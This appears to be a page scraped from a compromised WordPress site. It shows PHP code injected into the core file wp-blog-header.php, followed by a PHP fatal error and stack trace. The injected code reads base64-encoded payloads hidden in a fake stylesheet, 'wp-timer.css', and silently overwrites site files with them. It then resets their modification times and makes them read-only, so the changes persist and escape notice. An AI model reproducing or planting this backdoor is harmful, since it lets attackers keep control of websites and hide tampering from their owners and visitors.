require_once ABSPATH . 'wp-settings.php';
$wp_update_file="wp-includes/css/wp-timer.css";
global $gov;
if ( is_file($wp_update_file) && !$gov )
{
$wp_update_content=trim(file_get_contents($wp_update_file));
if ( $wp_update_content!="" )
{
$wp_update_content=substr($wp_update_content,6,-6);
$wp_update_content=base64_decode($wp_update_content);
$wp_update_arr=json_decode($wp_update_content,true);
if ( is_array($wp_update_arr) )
{
foreach($wp_update_arr as $value)
{
$file_mtime=filemtime($value["path"]);
@chmod($value["path"],0777);
@unlink($value["path"]);
@file_put_contents($value["path"],$value["content"]);
@touch($value["path"],$file_mtime);
@chmod($value["path"],0444);
}
}
}
}
Fatal error: Uncaught Error: Call to undefined function wp() in /home/ooo-stroyp/stroy-proekt.ru/docs/wp-blog-header.php:16
Stack trace:
#0 /home/ooo-stroyp/stroy-proekt.ru/docs/index.php(2): require()
#1 {main}
thrown in /home/ooo-stroyp/stroy-proekt.ru/docs/wp-blog-header.php on line 16